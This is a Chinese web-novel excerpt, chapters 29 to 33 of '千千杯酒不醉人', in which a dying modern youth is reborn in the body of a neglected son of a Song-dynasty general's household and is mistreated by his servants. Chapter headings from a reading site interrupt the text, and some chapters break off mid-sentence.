新年到了,在广场上一定聚了好多人,等着广场那座大钟楼敲响跨年的钟声。四年前的这个夜里,母亲曾带他一起去五一广场跟许多的中年青年少年们等待跨年钟声的响起。他戴着红色的绒线帽,头顶一个鹅卵大的红色毛绒球,他一蹦跳就颤颤的,煞是可爱;母亲穿着鹅黄色的长羽绒服,那些微黄的蓬松的卷发披散在头的两侧,搂着载轩两个人挤在一堆堆的人群里。等到大钟楼响过三声“铛铛”声后,钟楼上那个足有四五米长的直径的圆表盘时针和分针并在了一起,指向十二点,人群们顿时发出激动的欢呼,天空中霎时绽开了无数朵金黄的、火红的、蓝绿的烟花,母亲和载轩一齐抬起头仰望那些绚丽的烟花绽放又消逝,一朵一朵地照亮了幽森的夜空和人们的笑脸。 载轩没有开灯,并腿坐在靠近窗户的床边,两手抱着膝盖,把头搁在膝盖上,很怅然地望着夜空,望着那些远处的烟花模模糊糊地绽落,突然间胃里一阵绞痛传来。他不由得抱紧膝盖,侧躺在了一堆揉皱的被子旁,把脸埋在被子里,发出了微弱的□□。当疼痛一阵比一阵地厉害时,他就在床上翻来覆去地滚动,他用手捂着肚子,痛得脸色也白了,一头的冷汗,他的头发自上次剃完后又长了些,现在被汗湿紧贴在了头皮上。 他的情况近来糟糕的很,不仅出血点越来越多,牙龈也开始出血,一刷完牙,吐出的漱口水几乎都是血红色,漱口的水到后来才慢慢变淡;他的胃疼没有减轻,反而越来越重,越是疼,越不想吃东西,甚至有时候刚刚吃完就会因为反酸水,又全部吐在了马桶里,吐到后来,连绿色的胆汁也丝丝缕缕地经过口腔吐了出去,吐完后胃里更是难受,动都不想动一下。每当这时,全身上下的骨头全像被打过一遍一样,开始隐隐作痛起来。外面的气温已经降到0度以下,家里也好不到哪儿去,像个冷藏室似的,浸骨浸骨的冷钻到他的每个骨头缝里,他就只好裹了两床被子,缩在里面靠体温窝热被子,更不愿意到其他地方活动一下了。 他也没有去成医院,卖废品的钱仅够他买些吃的和止疼药,物业费、水费、电费加上邻居们的非议,每一项都阻止了他出门去的勇气。 即便是出去,他也趁着夜色,趁着别人都怕冷,在家里享受温暖和安闲时,在小区里翻找垃圾桶里有价值的废品出来。可是那冷钻到他的枯瘦的手掌里,常常让他的手僵得不听使唤。 在孩子们都放寒假的那天,他彻底病倒了。 可能是前几天晚上出去时受了风寒,也可能是他的病确实恶化了。他开始是高烧,一量体温就是三十九度多,喝一颗退烧药就降下去几个小时,但还没到药物的间隔时间就又烧起来,他苦撑不住,就再喝一颗,如此反复了两天两夜,终于在第三天的时候控制在了三十七度左右。但他的腿挨了地就像是一团棉花一样栽倒在了地上,他挣扎了好一会儿才扶着墙站起来。他的感觉异常敏锐起来,身上每一个地方好像是疼 29.魂回千年前 《千千杯酒不醉人》全本免费阅读 “咳,这是怎么说,又醒了!” “可不是嘛,前几日赵太医来说怕是连日昏厥,也该预备预备的了。” 林载轩朦胧中听到好像有人说话,眼皮却沉重地怎么也抬不起来。他动了动左手手指,摸索着,感受到了躺在一张大床铺上,床单软滑滑的,身上盖着一床软和的寝被。 “是床,我躺在了床上。是有人救了我吗?”心里不觉想着,听到有人推开门进来了,好像是木门的声音,有吱呀响动之声。 紧接着门外的人噤了声,齐声小心翼翼说道:“眀总管!” 门口传来了一个雄厚苍健的男声,听起来像个中年男人,“主子还在里面诊疗,你们就这样放肆!”然后走到厅堂一张四四方方的胡桃木色的桌前,同色方凳上坐着位矍铄老人,满头花白的头发梳得一丝不苟在头顶缵成鸭蛋大的圆髻,中间插了一根檀黑色半月簪,身着玄青色圆领常袍,衣领处绣着两圈细细的卍字纹,腰系秋色腰带,下坠一方碧色螭环珮,一穗月白络子垂到了腿上。 “这张方子是口服的,早晚各一剂,里面放几片老姜更好,饭后服侍他喝下。这一张是外敷方,一剂泡半个时辰,熬一刻钟的功夫,晾凉后敷于伤处,一天敷个两三次即可。”嗓音年老之人嘱咐另一人道。 中年男人应声道:“感谢王太医亲自看顾,多亏有您,四公子才能转危为安。您不妨到养居阁歇歇脚,顺便和老太太叙叙话怎样?林老太太经常和林将军提起尊大人来,您也和令尊大人一般仁心仁术,青出于蓝胜于蓝,令人敬仰啊!稍后我再亲送您回府!” “林老太太倒是多日未见,老太太可安哪!我去瞧瞧也是应当的。只是四公子身上笞伤未愈又染风寒,我这不好也沾染了病气,不如改日再去给林老太太请安可好!今日老夫就先回去了,七日后我再来。”说着便收拾起桌上的药箱、纸笔,只听一阵叮铛层错之声。 “那我这就给您去备车,这里的西北角门是常年不开的,还得烦请您移步后园,咱们好从来时的小西门走中直道上车。真是委屈了您,今日走了这好些路,这偏院已经好几年没有修整过,路不甚平坦。后园门那儿早备好了轿子,您请!”中年男人半低了语气,带些恳请之意,向那位王太医拱手回道。 “这倒没什么!老夫也惯走路的,上了年纪走动走动易于脏腑运化。”王太医拎起药箱,回过头看了眼躺在床上的那个脸色苍白的少年,又说了句,“他这里要暖一些,今日针灸后虽已醒,但已经到了大寒时节,他身上弱多注意些。” “小彤,快来帮王太医提着。”中年男人喊来一个十六七岁的小厮,同王太医前后脚出了门。 另有人进来把门轻轻合上,走到内屋,用火钩拨了拨地下一个铜火盆里的炭火,火已经燃得不太旺了,几块燎炭还犹自发着暗红的光,烧得力不从心似的,将熄未熄。 那个十五六岁的少年蹲在地下,穿着青蓝色交领半长襕衫,下面着同色裤子,脚腕处用素色布缠紧了,脚上穿着一双黑布鞋 ,嘴里向正对着的卧榻上方的窗外喊了一声:“加些炭火来!” 过了一会儿仍没有应。 蹲在地下的少年轻脚出门去找其他奴仆了。 “赖大娘,刚刚叫您怎么不吱声呢?四少爷房里的火不旺了。”少年略有些着急地说。 “我忙得很呐,你怎么不去取炭火呢?”一位老妇人阴阳怪气地抱怨着。 < 30.魂回千年前 二 《千千杯酒不醉人》全本免费阅读 载轩在屋里听着院子里的争吵,也听到了最后那句“自作孽,自作自受。”他有些云里雾里。 “难不成我是死了,这是在阎罗殿了?听着像是电视剧里的人说话似的,怎么回事呢?不明白,真是想不明白。那几天我肯定是烧糊涂了,才会做这些乱七八糟的梦来!”心里正想着,又听见刚刚那个男子气咻咻地进屋来,大概是手里抱了一些干柴,再次蹲在了地下往火盆里添柴火。过了一小会儿,火盆里爆出噼啪的燃烧声,火盆离着他大床不远的地方,热气慢慢散了过来。他感到露出的胳膊和脸有了些暖暖的意思。 “少爷,喝点水吗?”男子走到他的床边,俯下身来,把他露出的胳膊塞回到被窝里,轻声问道,宛然已经没有了怒气。 他张开嘴,想说话,但嗓子喑哑,几乎发不出什么声音来,只好微微点头,表示想喝水。 男子走到大床一旁靠近窗户的胡桃木色卧榻那儿,卧榻上铺着墨绿底绣着祥云纹的坐垫,中间放着一张半米大小的炕几,从炕几上的铜茶壶里倒了一杯水,那茶杯确是瓷的,十分精致小巧。 男子一手扶起载轩的脖颈,让他的头微靠在自己的臂弯里,另一手端起杯子喂他喝水。当他饮尽一杯后,嗓子也湿润多了,有了一点说话的气力,便说:“我还想喝水。” 接连喝了三四杯水,他才觉得舒服多了。男子把他的头放回枕头上,放回水杯,蹲身坐在了他大床前的脚踏上,很关切地问他:“少爷,你感觉怎么样?好些了吗?” “谢谢你,我好多了。” “少爷,您可算醒过来了。前两天都要吓死我了,你连日的烧,嘴里直喊‘娘、娘’,赵太医居然还跟老爷说你不济事了呢。得亏着又请了王太医来,”男子把手伸到他的被窝里替他搓揉着胳膊,一边絮絮地说着,“王太医真的是妙手回春呢,少爷您自前夜昏过去再没醒过来,就剩下出的气了,王太医来了替你针了几下子,您便长吁一口气,又回转过来了。真真是太好了!” “我昏过去好几天了?”载轩觉得眼皮沉得很,好像是有人缝上了上下眼睑一般难以睁开,从微弱的一丝光线里,他模模糊糊地见着一位黄瘦的少年,容长脸,小眼睛,挺立的鼻翼更显得两腮瘦薄,头发都攒在头顶,用蓝丝带扎起个髻来,还有些碎毛发在两鬓上,脸上一副高兴的神采。 “前夜里昏过去的,吓得我不知道怎么办才好。” “你是谁?是你救了我吗?”载轩虚弱地合上了眼。 “我吗?少爷您是烧糊涂了吧?我是您的贴身小厮——肖峰啊!” “小厮是什么?”载轩对这些称呼真是匪夷所思。 “少爷,您刚醒过来,还是养养神吧,一会儿内库房的人抓了药,我就该服侍您喝药了。”说着,握了握他温热的手掌,“我知道您这些日子遭罪了,别胡思乱想了。” “晓峰,你救了我是吗?”载轩握住肖峰即将撤走的手问。 “四少爷,我一个下人哪能救得了您呢?是老爷,老爷没有听赵太医的忙着张罗后事,虽然贺小娘和大娘子都说······但是老爷还是下了拜帖,请了太医院之首王太医来为您诊治。是老爷救了您,您······等您好了,还是去向老爷认个错吧!”肖峰转而跪在脚踏上,言辞恳切地告诉他,然后也不等他说话,帮他掖好被角出去了。 载轩怎么也想不通,老爷是谁,他又是谁,什么贺小娘、大娘子,还有王太医,这都是些什么。他还停留在那个黑得等不到天明的长夜里,蜷缩在地下,痛苦地向母亲的遗像乞求,乞求给他条生路,乞求有人来救救他,他已痛不欲生,浑身就像是被锤头凿过一样瘫在那里,胃里像是刀绞,一阵一阵的疼痛袭来,使得他的冷汗浸透了内衣。 但他刚刚握过的手,是清清楚楚的告诉他,确是活着的;刚刚喝过的水,从干涸的嗓眼里一路流到胃里,也真真实实的告诉他,是活着的,这一切不是梦,不是虚假的。 但他又用右手去摸自己左臂上的伤疤时,又仿佛告诉他,这是梦,这并不是真的,因为那是一条光滑的、柔嫩的胳膊,上面连一处小伤痕都没有。怎么会呢?如果活着,自己被钢筋插穿的手臂怎会复原如初呢?尽管原来也曾幻想过,要是 31.魂回千年前 三 《千千杯酒不醉人》全本免费阅读 三 再有几天就过年了,城里处处张灯结彩,各公府门前也都挂起了大红灯笼,街上的集市里天天都挤满了人,买吃食的、鸡鸭鱼的、对联楹贴的、首饰穿戴的人携老幼都挤到集市上来,无不洋溢着过年前的忙碌和喜庆。 这几日林府上下也都忙翻了天。 林州堂林大将军现是御前的武将,但时局所限,大将军只好在城里开了个米铺,靠着经营铺子维持林府上下的开销。其祖父林琅也是行伍出身,但只是做到校中营副将一职,其父林瀚是林琅的嫡次子,勇猛英武,屡获军功,尤其是在高粱河一战中率军屡破辽军大营,后被先皇亲封为从三品开国侯——孟义侯。林瀚将军娶的是吏部尚书舒敏的嫡女舒羽珏,林州堂正是其独子,林为林将军的独子袭了爵位,又因在边疆战事中战功卓著,圣上封其为归德大将军。但林大人偏不爱文才,其母林老夫人为其与翰林家联姻,娶了柳翰林的女儿柳玉卿,那会儿朝廷上下重文轻武,林老夫人也是为了后代文兴,很是重视教育。林将一家家风正凊,忠肃耿直,颇有将门风范。 这处林府园子就是当年先皇为了嘉奖林瀚将军而赏赐的,足有三十亩大,林老太太下嫁时带来的嫁妆也颇丰厚,园子里房栋连廊、亭台阁宇建了不胜数,后面的大花园里还有个水波漾然的碧波潭,这是令很多官员贵族们羡慕的。只不过林府的地段偏一些,是位于东京府最南面最大的一处公府,再过几百米就是出城的城楼关卡了。 林府坐北朝南,整体呈一把横放着的菜刀型,从中以南北中轴线一分为二将园子分为生活办公区和后花园。东面这一半前半部分是林将军的府衙,正门亦在此处,正门是五米长三米多高的兽头朱漆大门,正对着宁安街,门前一左一右蹲着两个一人多高、两人才能合抱住的气势威严的石狮子,正门之上有一匾,匾上大书“忠义侯府”四个漆金大字。正门两侧各有两个大约两米宽的朱漆小门,供人进出,正门却只有重大场合才会大开。前院是林大人商议政事的办公之地和外书房。进了正门后走不多远便是外仪门,从外仪门进去后是一处视野开阔的场院,足有一个篮球场大,东西两面栽着齐垛垛的两排大白杨和松柏,一条砖石铺就的平坦直道直通前厅,前厅左手边是前院书房,前厅右手边是管事院。而正门和外仪门中间的这片区域,也分成了三部分,最中间的空地上左右对称放着十来口大水缸,缸里到了春夏养着各色锦鲤和开得娇艳的睡莲,进了左手边的西便门是府丁和家丁们所住的厢房,西耳房是马厩和库房。而右边进了东便门是账房和管事住处。 再往北进入内仪门后就是林大人一家的生活区了。内院正厅一般用于家宴和会客,是仅次于前院正厅第二高阔之所在。正厅的后面便是林家家祠,供奉着林家的列祖列宗,也是林大人惩戒触怒家法之人所在。西侧院是林大人的小妾——珍小娘的住处栖芳阁,东侧院是林大人的嫡长子林震及其刚过门的媳妇王婉儿所住的濯沁苑。内院正上房是主母院——静玉堂,东一院、东二院分别住着林大人的嫡次子林霓和珍小娘所生的林霁,东三院原是给林雲即在偏院住着的林载轩准备的,现在还空着。内院西上房是林老夫人舒氏的养居阁,西二院现住着林二小姐林雨菡和三小姐林雨蔷,西三院里本空着,后来教一些老了的嬷嬷和小丫头们住着。 西边一大片地方便是后花园,里面有无数花草名树、亭榭台阁环绕着一大片澄澈的湖水,水上廊亭也足有几百米长,远远看去蓊然葱郁、湖光乍泄。而在后花园东北角上林大人后建了座藏书阁和家学堂,紧贴着林老夫人的养居阁,一进后花园的垂花门再过一射之地就到了。藏书阁建了两层楼那么高,里面搜罗了不少先人现世的名书籍。因延师费用太高,后林家子弟皆受邀去了祁恭王府的学塾中读书。 后花园外也有个西街门,一般出花园西门再走过二三里的中直道就到西街门了。那日林雲病重,林大人派人接了王老太医来,就是从西街门进入的林府,从那个门穿后花园到林雲所住的偏院还比较近一些。而林雲,便是林载轩的前世,是的,是林载轩的魂魄回到了一千年前的林雲身上。 林雲所住的偏院就是林府刀把的这一部分,出花园西门后对着不远处就又有个角门,从角门进去是个荒废的园子,藏着一段林府讳莫如深的秘事。园子的东南有处院落,府中人便叫它“偏院”,五年前吴小娘和林雲被赶到了这里居住,只有几个随身侍从和丫头,主母林夫人后来给派了位厨娘,单独在这里开灶,几乎不与大家一起在内正厅用餐。中直道往北通去的尽头是林府的又见观,观中有个老道,还有几个道童,全靠林府的支持得以留存下来,当初先皇赏赐这块地界时要道观搬出去,林老夫人可怜老道,就还留在了这里。出了林府再往西北就是地势较高的祺云山了。 这几天林府上上下下、男男女女们都在忙着扫除和迎新,处处是人声喧语,一派热闹景象。连小姐、少爷们也开始指挥着下人们做这做那,人人喜气洋洋的。过年是大事,林府每年要在除夕夜祭祖和燃放烟花,还要给王府贵族家送贺礼,种种事宜多得数不过来。 所以,没有人注意到偏院,更鲜有人关心四少爷的情况。 这日,林府大厨房里忙着蒸糕、做点心,忙得几位厨娘脚不点地,围着灶台团团转,这间大厨房的房檐下挂着几十只熏得黄浸浸的板鸭风鸡,从内至外散发出一阵阵诱人的米香肉香来。 “老嫂子,可忙哪!”赖大娘进了厨房,向一位系着灰麻布围裙、眼角一把褶子的高胖大娘打着招呼,热殷殷地帮着拿笼搬物。 “可不是嘛?这几天老腰都快断喽!你们那儿倒省心呦。”胖大娘笑哈哈地打趣道。 “唉!老嫂子,可是苦死我喽。”赖大娘脚步很利索地跟着胖大娘来回穿梭在菜篮子、灶台和案板之间,叹了口气继续说道,“我这不知道遭的什么孽,在那个院子里,服侍个不受宠的少爷,四处看人眼色不说,还要贴进去自己的例银供给!” “这是怎么说?难不成四少爷的份例不够使?” “老爷交代内库房的人,四公子的份例减半,病了这么些日子,我眼看着,又不能使主子挨饿不是?”接着赖大娘一手按在胖大娘的右肩上,示意她矮下身子来。 胖大娘比赖大娘足足高出多半个头,向右侧了身子,听赖大娘向她低声耳语了几句,然后撇着嘴摇了摇头,端起一竹扁的点了朱点的寿桃走到了南墙边上的案几旁。 “你说说,难道就一点办法都没了吗?求求明总管家的,行不行?”赖大娘不死心,又追了过去。 “要我说呀,还是得老爷回转过心意来,你们就都好过。要不然呀,你就是到了别处,从那个院子里出来的都不会好过。”胖大娘一边整理着寿桃,一边告诉赖大娘,“你看看,去了夫人那儿的青嬷嬷,现在都没什么差,除了教管几个小丫头外,就剩下晒太阳喽。那也是夫人心慈,去了栖芳阁呀,可有的受了。” “就四少爷那个脾气秉性,要老爷回转心意,可难哪!”赖大娘又深深地叹口气,“我就是个命苦的,遭这么些罪,老嫂子心疼我,有没有什么剩余,我也好回去给少爷补补身子?” 说着,也不顾其他忙乱的人的眼光,左右扒拉起来。 另一个长得长鬓眉、大鼻头的稍年轻的厨娘凶巴巴地走来,一手拍下了赖大娘放在一笼馍馍上的手:“赖大娘,您老上了年纪了,连规矩也忘了,份例是去内库房领的,到我们这儿来打什么秋风!” 胖大娘忙转过身来跟刚刚的厨娘好言陪笑道:“赖大娘多少年的老人了,咋能不知道规矩呢?关心则乱,关心则乱嘛!”一手领了赖大娘赶紧风一样出了大厨房的门。 赖大娘嘴里气得发颤,又回不过嘴来,气呼呼地还要回头去争辩几句。胖大娘忙捂着她的嘴,小声说:“赖妹子,不要跟那个凶起来吃人的管事婆计较。你知道的,她是从栖芳阁过来的,先前你们那儿那位和栖芳阁的是死对头,我劝你呀,别为了四少爷出头。午后你过来,我给你留着。” 赖大娘嘴里还在不干不净地骂着,听胖大娘说完,恼恨地回:“也就是栖芳阁的有手段,要不是也轮不到那个贱人爬到我头上来。” 一面往回走,一面还和胖大娘说:“我先去下人院找我儿子去,完后再来寻你。”一路过了东三院从小侧门出去,绕着□□小道,往前院的西厢房去,还兀自嘴里低声咒骂着“贱人”“狗东西”······ 赖大娘的儿子旺生此刻正在前院里洒扫廊亭、挂灯笼呢。赖大娘进了西厢房院里,只见几个府丁搬东西的搬东西、拿工具的拿工具,几人忙得不可开交。她走到南面一排房间那儿,趴在倒数第二间的窗户缝里瞧了瞧,见里面空无一人,随口抓着一个府丁问了句:“你见我家旺生没?” “忙去了,都在前院忙活呢。您老进屋里等吧。” 赖大娘就进了屋,坐在炕上等。 直待日头高过头顶,旺生才进了院。娘两个叽咕了一会儿,见旁人都要进来歇午觉了,赖大娘才别了儿子又往后院的大厨房来。 “老妹子,这点东西也是我偷偷省下来的。拿去吧。别声张,要不我也得挨骂。”先前那位胖大娘偷偷将赖大娘领到厨房里的角落里,从一叠铝盆子下面拿出一包牛皮纸包裹的东西递给她。 赖大娘这才脸上有点欢喜的意思,把包裹藏掖在宽大的裙袍里,一步一点地回了偏院。 “少爷,还痛吗?”肖峰边给载轩上药,边怜惜地问着。 载轩的臀部至大腿有数痕青紫,还有一大片结了痂脱落后露出的红色嫩肉,肖峰用浸了草药汁水的棉布轻轻地敷拭着伤处。 “已经好多了,这几天多亏了你,王太医的药很有效呢。”载轩趴在床上,褪下衣裤,由着他这院里唯一一个小厮来侍弄。原先他还有一个的,名叫卜苓,是林老夫人院里屈嬷嬷的儿子,吴小娘死后,屈嬷嬷借了个由头,把儿子弄到了前院当差。就剩了忠心的肖峰一个小厮。当然这些载轩也是这几天和肖峰闲聊时得知的。 “少爷好就好。昨儿个王老太医还安顿我要扶着您下来走走呢。不然老不走动,腿都要僵掉的。”肖峰嘴边带着笑,还在轻轻地拭着。 “好,那一会儿扶着我下地走走吧。” 赖大娘进了偏院的门,一闪就进了正房对着的第二间南房里。那是她 32.魂回千年前 四 《千千杯酒不醉人》全本免费阅读 四 “给主君请安,四少爷同问老爷好。”肖峰没有经过载轩的同意竟偷跑到了主母院去找老爷告状了。只见他双手伏地,未敢抬头,很恭谨地跪在地下,这间是静玉堂专门为林将军布置的内书房。 那个身材高大、胸膛硬阔的林州堂正侧坐在书桌旁的檀木椅上研究一本兵书。林将军双眉俊飞,额宽耳阔,薄唇长髯,身着紫红宽袖锦襕袍,脚蹬长筒乌皮靴,浑身上下都充斥着一股军人的刚毅冷峻。刚刚就已经听到门外的贴身侍卫傅焱通报,说是四少爷那边来人请安。但其并未看一眼地上跪着的人。 在内书房服侍的还有一名侍从,叫阿夏,是林将军二十年前凯旋回程时在草丛里发现的弃婴。抱回来时正值盛夏,林老夫人怜悯,取名舒夏,自小在林老夫人的养居阁长大,大了就到林将军跟前服侍了。阿夏从小在老太太那儿耳濡目染,又聪慧识人,此刻见老爷不发话,自己就悄声走到书案旁,拨了拨烛火,看着林将军的脸色转头询问地下跪着的人:“四少爷有什么事吗?” “四少爷自用了王老太医开的药已经好很多了,但······”肖峰止了口,看不出林将军脸上有什么变化,摸不准该不该说下去。 “但怎么了?”阿夏的脸庞在烛火的映照下俊秀生动,俨然看不出是个遭人遗弃的孩子,举止从容反倒像个富家公子,此刻仍站在林将军身后替其发问。 “但院里其他人很是苛待四少爷,不仅炭火短缺,这几日四少爷连饭都不曾吃饱过一顿。还请老爷看在四少爷体虚未愈的份上,去瞧瞧他吧。”最后这一句肖峰明显是犹豫不觉的,说得吞吞吐吐。 吴小娘与林将军义断情绝已好几年了,这是全府上下都知道的事,缘由到底是什么只有当事者知道,但吴小娘刚刚生下蓉姐后不久,孩子就被老太太抱去了养居阁抚养无疑是最大的导火索。自那之后,吴小娘古怪执拗得很,时常没来由地哭哭笑笑,或者默然不语呆半天,脾气也越来越坏,动辄打骂仆从,好几个人都跑到主母那儿哭诉,林将军和大娘子狠狠处罚过几次吴小娘。最后那次吴小娘居然跑到养居阁大闹一场,疯疯癫癫的模样都吓坏了林雲,后来竟一纵投了湖,人虽救上来了,但没过多久就病殁了。 说起来,林将军好像也无情的很,未办丧礼,也不许其入任何家祠,草草火化后将骨灰寄放在了一座庙里。是哪座庙,连主母柳氏都不知道。甚至都不许府中任何人提起关于吴小娘的一切。蓉姐也记在了主母柳氏的名下,算作了嫡女。 林雲好几次在父亲面前提起母亲来,两个人几乎都是剑拔弩张,惹得林将军极为恼火,以重惩林雲而收场。上次便是因为吴小娘祭日快到了,林雲想要亲自去祭拜下母亲,情急之下顶撞了父亲,林将军在家祠里重责了他,直打到两股皮开肉绽、鲜血淋漓,林雲始终不肯告饶认错,后又罚他禁足和减少份例,以警示他人。 肖峰自六岁上因饥荒没了父母,被变卖到林府为奴,一直跟在林雲身边。他也明白,早前吴小娘和老爷的感情好像很复杂、捉摸不定似的,好的时候如胶似漆、恩爱非常,但吴小娘性子刚烈,俩人交恶时又如同仇人相见,恨不能吃了对方,后来吴小娘不得宠爱了,连带着主子林雲也不再受宠。在他眼里,林雲的品性有时像极了吴小娘,好的时候极温顺极恭良,而针锋相对的时候寸步不让,挨多少打都不会讨一句饶,在一些问题上一点劝都不听。尤其是因为娘亲的事,无论是谁,只要是在这相关问题上必定与他人发生言语激斗,为此吃了多少亏,遭了多少暗算,可就是半点不改。老爷也正是因为这点,是见都不愿见他,两个人见了,也必然还是一场覆水难收的灾难。 所以,肖峰原想的是让主君去主持公道,但想到之前的种种情境,又有些后悔起自己这莽撞的行为来,万一两个人一言不合,少爷可能因此又要受一番苦了。 林将军盯着眼前这一页文字,饶有兴味似的,半天都没有翻动一下。空气都静了下来。 肖峰也着实不敢再说下去。而阿夏知道,吴小娘是主君的逆鳞,现在四少爷也成了全府上下唯恐避之不及的人,尤其是上次林雲在家祠里说得那些大逆不道的话,主君盛怒,现在没有人会替他说话,更没有人敢去维护他。 突然,林将军浑厚低沉的嗓音问:“你说院里的人苛待他,是哪个院?”手上的书也放在了书案上,抬起头,目光炯炯地看着地下跪着的人。 肖峰仍规规矩矩地跪着,听到这一激问,头上冒出冷汗来,声音也颤颤的:“回禀主君,是我们院里的人。” “哦,照你说来,是他们侍候得不如你尽心了?” “也不是这样······只是少爷这里供给短缺,少爷······” “短缺?那意思就是大娘子苛待他了?”林将军的话截断了他的话音,质问道。 “不······不是······主君恕罪,我是说······”肖峰知道自己说错了话,此刻急得更语无伦次。 林将军不耐烦地一挥手,站起身来说:“走,去看看!” 接着林将军和阿夏就迈着大步出了这间朗阔的书房。 外面天色已经全黑了下来,已经过了酉时,有暗云遮住了月色,装点一新的林府上下,在一盏盏灯笼的红色光晕下,更显得层楼森森、径道幽幽。 一个端着水盆的侍女路过看到林将军,立刻停了脚步,俯身半蹲请礼,直待林将军已走远才继续端着水盆往静玉堂的西卧房去。林将军神色未变,继续往后花园的方向走。肖峰疾步跟在后边,忐忑难安。 到了后花园的垂花门,林将军坐上一顶抬轿,花园里的灯笼未亮,阿夏提着一盏玻璃灯在前面引路,两个轿夫顺着弯绕的主路不驰不徐地跟在阿夏后面,最后面是抹了一把又一把汗的肖峰。 早有一个眼尖的小厮看见肖峰和林将军人走在去偏院的路上,小跑到大娘子那儿,密语告诉了大娘子的心腹——红韶。大娘子柳氏听到后,并不惊异,喝了口茶,慢慢地问:“偏院的份例还和以前一样吗?” 红韶回:“上次主君减了那儿的份例,明宅老和苏总管那儿应该给的和上月一样。” “没有人克扣他吧?” “大娘子待人宽厚,可也保不齐有人看人下菜。” “既然我这里没有,那就好。”大娘子放下茶杯,炕几上堆着几匹华美光滑的绸缎,一一点咐给红韶,“这一匹霓儿会喜欢的,送过去好好裁身衣裳才是。那两匹给清雨阁送去,专给两位姑娘的······” 林老爷在西门下了轿,步行至偏院门口,看到门窗紧闭,院里什么装饰都没有,萧瑟冷清,与内院截然不同,里面只有赖大娘和杏萍两个人说话的声音,赖大娘情绪还很激昂的,不时听到一两声咒骂之音。阿夏用力咳嗽了几声,里面立刻安静了,不一会儿杏萍出来打开了偏院的大门,看见主君一惊,立刻低垂了头,两手相握,将身体闪在一边跪了下去,并高声请安。南房中的赖大娘也慌忙披了件夹棉袄出来跪在当院。 载轩因为下午那一场闹,也没心情吃饭,剩下半碗粥和咸菜就放在炕几上早已凉透,也没见来人收去。肖峰抱怨了一通,见载轩不言不语,跟往日不一样,脸上是一副凄凄的神色,已然没了半点以前的刚勇,一气之下出去了。后来他自己慢慢腾挪到床上,面朝里,侧卧着想心事。他虽然不知道眼前这副躯体的前主人是怎么样一个人,又有过怎样的遭遇,但他似乎也理解了,他的前世和他有着极其相似的命运。今天的事,他无从评论,当代他已经见过了许多这样的伤心事,墙倒众人推,树倒猢狲散,人之常情。当落难时,不来落井下石就算是好人了,大多数人会同踩上一脚,好证实自己的实力和强悍的能量。嘲笑么,讥讽么,甚至是欺负呢,落难的人没有能力拒绝这一切,除非强大自己、丰翼羽翼,才能摆脱势下的局面。 听到父亲来到,他有些意外,他的思想困在这副躯体里这么七八天了,没见过任何人来看望他。从其他人的言语中,他知道上次林雲和父亲之间发生了很激烈的矛盾,从那次以后,父亲再没有见他。但想到刚刚唤了几声肖峰,都没人应他,也就猜到了,是肖峰去告了状。他想:如果父亲关心他,上次他病得几乎死去时,就该来看他,倘若父亲还疼护他,就不该任由下人们如此放肆。而傻傻的肖峰,竟还因为这点小事去请父亲来。肖峰这个人,他这几天也看得七七八八,忠心是忠心,可做事鲁莽,遇事不思考不过脑,嘴又没个把门的,吵架也抓不住重点,在赖大娘和杏萍两个人的合围下一点胜算都没有。 “你们苛待少爷吗?”阿夏替林将军发了话。 载轩听到说话的人声音清脆响亮,中气十足,猜到应该不是父亲发声。他没有起来,没人扶着他,恐怕从床上走到门口都要费劲力气。当然他也不想起来,既是还未病愈,就装着起不来身吧。 父亲这个词,对他来说太陌生了,程建的无情他已经见识过了。从来没有体会过父爱,他其实很怕去面对“父亲”这样一个人,他不知道如何去相处,也不知道如何维系俩人的关系。 “苛待?主君您相信吗?怎么可能是我们苛待雲哥儿呢?您难道忘了以前小娘子还在时,雲哥儿怎样跋扈了吗?”赖大娘抢先开了口,凄哀哀地装出一副哭腔来,顺势用袖角拭眼泪,“老爷,我们委屈啊!雲哥儿病了这许久,份例早吃尽了,我这把老骨头天天还要看大厨房那些人的脸色,舔着脸去讨些吃的来。我去跟翠薇母亲崔大娘说:‘可怜可怜我们少爷吧,身子弱,得吃些有营养的东西才好得快些。’就这还遭了管事婆的训斥,可我没说过什么,只要雲哥儿好起来,我们这些做下人的受点委屈算 33.魂回千年前 五 《千千杯酒不醉人》全本免费阅读 五 没了肖峰的服侍,杏萍和赖大娘更加肆无忌惮地作贱起林雲来。 以往到了年节,内库房会给各个院里多备一月的例银,还有各色干果点心、小食,除主子外下人们也可各做一套新衣。现在连年节份例也被取掉,所以她们更是不满,把这不满都发泄在了林雲身上,不仅冷言冷语相向,而且常常要茶要水都会给他脸色看。饭食都成了残羹冷炙,有时就是一碗稀粥敷衍了事,他要是多问一句,都会被呛白一通。 林雲也算是领教了她们牙尖嘴利、颠倒黑白的本事,那天如若是父亲进到里间来,自己好歹也能辩解几句,可父亲根本不关心这些。现在几乎是处于极不利的形势了,没有人疼护他,只能打碎了牙往肚子里咽。 “敷的药就剩这一副了,还请少爷自己动手吧。”杏萍一脚踢开门,把一个盛了半满褐色药汤的铜盆“铛”一声放在厅堂的方桌上,扭身就走。 “杏萍,给我打盆热水来!” “少爷看不到我和赖大娘忙得团团转么?”杏萍颇阴阳怪气地回嘴。 “还请你一会儿不忙了打盆热水来。”林雲忍着一肚子火气,委声相求。 “呦,雲哥儿还是省事些好,人都不见,洗不洗的又没有人看!”赖大娘冲进门里,一把拉了杏萍出去,还高声斥着,“还有什么脸面见人呢,我们也要羞煞人了!” 林雲深深叹了口气,自己下床来端了药盆,拉上围帘,用布蘸着药汤敷在伤处,顺便把那天夜里挨了短棍的青紫处也轻轻敷了敷。 他有些担心肖峰的情况,昨天想要拜托赖大娘去领份例时打听一下的,却被赖大娘一口回绝,赖大娘扯着嗓子说:“那个狗东西么,打死才好,以小欺老,还以为自己仗着什么大人物呢。再者,凡是能出了这院的,那算是坏日子到头了,哪像我们命苦的还熬在这里,这时候肖峰笑还来不及呢!”自己被话堵得气血上涌,头立刻眩晕得几乎站立不住,扶住炕几才撑住。 他当然后悔,那天如果自己再勇敢些,拼死护住肖峰,也许他还能在院里好好养养伤,去了别处还不知道有没有善待他。不过他对府中情况并不了解,也许真的像赖大娘说的,出了这院,去了别处都比这里强上百倍。跟着他吃不好,干得多,还得当受气包,心里也万分希望肖峰能碰上个好主子,起码是个比他得脸的主子,少受一点苦。 他的头痒得要命,头发胡乱纠结在一起,梳都梳不通了。大概是上次挨完板子就再没有洗过头。明天便是大年,他想着洗洗头,可赖大娘和杏萍就连盆热水都不肯打来。他只好披了夹袄,自己扶着廊柱来到小厨房烧水。 